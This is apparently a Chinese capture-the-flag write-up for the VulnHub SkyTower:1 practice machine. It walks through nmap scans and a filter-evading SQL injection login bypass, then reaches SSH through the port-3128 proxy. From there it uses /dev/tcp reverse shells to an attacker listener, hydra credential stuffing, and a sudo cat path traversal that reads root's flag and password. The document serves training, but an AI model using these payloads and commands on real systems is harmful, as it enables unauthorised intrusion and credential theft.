SkyTower1靶场练习&小白向&靶场安装&sql语句被过滤&万能SQL密码

下载链接:

SkyTower: 1 ~ VulnHub

安装:

下载解压后打开vxbox,新建虚拟机,系统选择linux,使用已有虚拟硬盘文件

选择解压后的vdi文件

后直接创建

设置中的网络链接模式根据自己情况定

我这里选择的是桥接模式

完成后直接启动即可

正文:

先用nmap扫描靶机ip

复制代码
nmap -sn 192.168.1.1/24

获取到靶机ip后,对靶机的端口进行扫描,并把结果输出到skytower1文件夹下,命名为port方便后续查看

复制代码
nmap -p- 192.168.1.4 -r -PN -oA skytower1/port

(-p-:对所有端口进行探测

-PN:用于禁用主机发现。这些参数告诉Nmap不要执行主机存活检测,而是直接扫描指定的目标

-oA:输出到指定位置

-r:连续扫描端口,并在扫描过程中随机排序目标端口。这可以帮助减少被网络防御系统检测到的风险。

对端口指纹进行详细探测,并把结果输出到skytower1文件夹下,命名为server方便后续查看

复制代码
nmap -p 22,80,3128 192.168.1.4 -sC -sV -r -O --version-all -A -oA skytower1/server

(-p:对指定的端口进行探测

-sV:版本信息

-sC:默认脚本扫描

-A:启动Os检测,版本检测,脚本扫描和traceroute

-O:探测操作系统信息

--version-all:尽可能多的探测信息)

经过查询得知3128端口为一个代理端口,结合22端口的状态为filtered,那么大概率22端口是被过滤掉了

使用默认漏洞脚本对端口进行探测

复制代码
nmap -p 22,80,3128 192.168.1.4 --script=vuln

我们发现80端口下的login.php有sql注入漏洞,注入点为email

访问80端口

是个朴实无华的登录框

进行目录扫描,并没有新发现

复制代码
dirsearch -u "192.168.1.4"

既然这里有sql注入,打开bp抓包,抓取登录数据包

将该数据保存到sqlmap目录下的1.txt,然后运行sqlmap进行注入尝试

复制代码
python sqlmap.py -r 1.txt --dbs --batch

注入失败,我们进行抓包手动尝试

右键将该数据发送到重放器中

在重放器中修改emali参数,在emali参数后加单引号

证实了这里确实有sql注入漏洞

既然sqlmap跑不出来,那我们进行万能密码尝试

复制代码
admin'+or+'1'='1

同样不可行,换一种万能密码

复制代码
admin'+or+'1'='1'--+

根据返回的信息得知,万能密码的or位置被替换为了空格并且等于号也被过滤掉了

将or双写以及等于号替换为like再次进行尝试

复制代码
admin'+oorr+'1'like'1'--+

后面的 --+同样被屏蔽掉了,那将--+去掉,并删除最后一个单引号,让他重新进行闭合状态

复制代码
admin'+oorr+'1'like'1

看样子是登录成功了,返回80界面进行尝试

登陆失败?

打开bp抓登陆包,然后再bp中修改发包信息

进行发包尝试

登录成功

获取到一个账号以及密码

复制代码
john:hereisjohn

获取shell

尝试进行ssh登录

但是是没法登陆的,因为在最开始的nmap扫描结果中,22端口是被过滤掉的,但是3128端口是一个代理端口,那我们可以尝试下用该端口进行代理访问22端口

先打开proxychains的配置文件进行配置代理

复制代码
vim /etc/proxychains.conf

在最下方添加一条(单机键盘上的"i"键即可进行修改操作,修改完成后按"esc"然后输":wq"即可保存退出)

复制代码
http 192.168.1.4 3128

并且把socks4这一条进行屏蔽(在指令前加井号即可屏蔽)

保存退出

先用nmap进行扫描对我们的猜想进行验证

复制代码
proxychains nmap -PN 192.168.1.4 -p22 --min-rate 3000 -sT

果然,22端口状态变为open

尝试对我们获取到的账号密码进行登录

john:hereisjohn

复制代码
proxychains ssh john@192.168.1.4

登是登录上了,但是我们被直接退出来了

但是在进行ssh登陆时可以携带一条指令

再次进行尝试

复制代码
proxychains ssh john@192.168.1.4 whoami

既然可以执行,那我们执行一个反弹shell

新打开一个窗口进行nc监听

复制代码
nc -lvvp 8080

然后回到刚才的窗口进行反弹shell

复制代码
proxychains ssh john@192.168.1.4 "sh -i >& /dev/tcp/192.168.1.3/8080 0>&1"

输入密码

回到nc

反弹成功

经过查询,在该文件夹下的.bashrc文件是导致我们ssh连接时直接给我们断开的罪魁祸首

查看该文件

复制代码
cat .bashrc

是不是很熟悉?我们之前直接进行ssh登录时返回的语句可不就是这个么

我们对该文件直接重命名给或者删除

复制代码
mv .bashrc .bashrc.bak

然后退出nc,回到ssh界面,再次尝试登录

复制代码
proxychains ssh john@192.168.1.4

登录成功

提权

查看具有suid权限的文件,看下有没有什么提权可以用的文件

复制代码
find / -perm -u=s -type f 2>/dev/null

查看计划任务

复制代码
cat /etc/crontab

都没有我们可以利用的东西

既然在80端口有sql注入漏洞,那么在login下大概率会有mysql的账号密码

查看下login.php文件进行确认

切换到目录 /var/www

复制代码
cd /var/www

查看login.php文件

复制代码
cat login.php

确实存在,账号密码都为root

我们进行mysql登录

复制代码
mysql -u root -p

输入密码root

登陆成功

查看数据库

复制代码
show databases;
复制代码
show databases;
复制代码
show tables;
复制代码
select * from login;

将账号密码都进行保存

打开新窗口

复制代码
vim user.txt

将账号保存进去

复制代码
vim pass.txt

将密码保存进去

我们可以进行对ssh端口进行挨个尝试

看能不能撞库成功(可以直接在80端口上进行登录,最后也是会获取到同样的账号密码,我这里习惯的先进行撞库)

复制代码
proxychains hydra -L user.txt -P pass.txt ssh://192.168.1.4 -v

成功,既然我们登陆过john,那我们再次尝试登录sara

复制代码
proxychains ssh sara@192.168.1.4

既然还是同样的方式给我们提出来了,我们再次用同样的方法进行反弹shell

打开nc监听

复制代码
nc -lvvp 8080
复制代码
proxychains ssh sara@192.168.1.4 "sh -i >& /dev/tcp/192.168.1.3/8080 0>&1"

反弹成功

同样的方法删除或者重命名.bashrc文件

复制代码
mv .bashrc .bashrc.bak

退出nc,再次尝试ssh登录

复制代码
proxychains ssh sara@192.168.1.4

登陆成功

查看下该用户的权限

既然他又这个权限(用root权限执行/bin/cat /accounts/* 不需要密码)

那我们可以尝试用这个进行提权

复制代码
sudo /bin/cat /accounts/ ../../etc/passwd

发现该方法确实可行

我们可以用该方法去查看下root目录有什么文件,只需要将"cat"替换为"ls"

复制代码
sudo /bin/ls /accounts/ ../../root

有个flag文件,我们进行查看

复制代码
sudo /bin/cat /accounts/ ../../root/flag.txt

root的密码竟然藏在这里

将账户切换为root

复制代码
su root

输入密码theskytower

成功

相关推荐
野指针YZZ1 分钟前
GStreamer RKNN 插件自制
linux·音视频·rk3588·gstreamer
Darth Nihilus2 分钟前
Raspberry Pi Compute Module Zero Development Board开发板(三)
linux·嵌入式硬件
君爱学习3 分钟前
分库分表下的分页查询
mysql
qq_393060475 分钟前
在 WSL2 的 Ubuntu 中安装中文字体
linux·运维·ubuntu
洛菡夕5 分钟前
LNMP环境部署
linux·运维
NOVAnet20237 分钟前
AI智能体OpenClaw实战:终端安全风险分析与防护实践
网络·人工智能·安全·网络安全·南凌科技
yqzyy8 分钟前
如何安装配置Goland并使用固定公网地址SSH远程连接本地服务器
运维·服务器·ssh
溜达的大象9 分钟前
后端常用技术全方位分析:从核心标配到淘汰弃用,一文理清技术选型逻辑
网络·数据库
EveryPossible9 分钟前
服务器测试指南
服务器
AMoon丶9 分钟前
C++新特性-智能指针
linux·服务器·c语言·开发语言·c++·后端·tcp/ip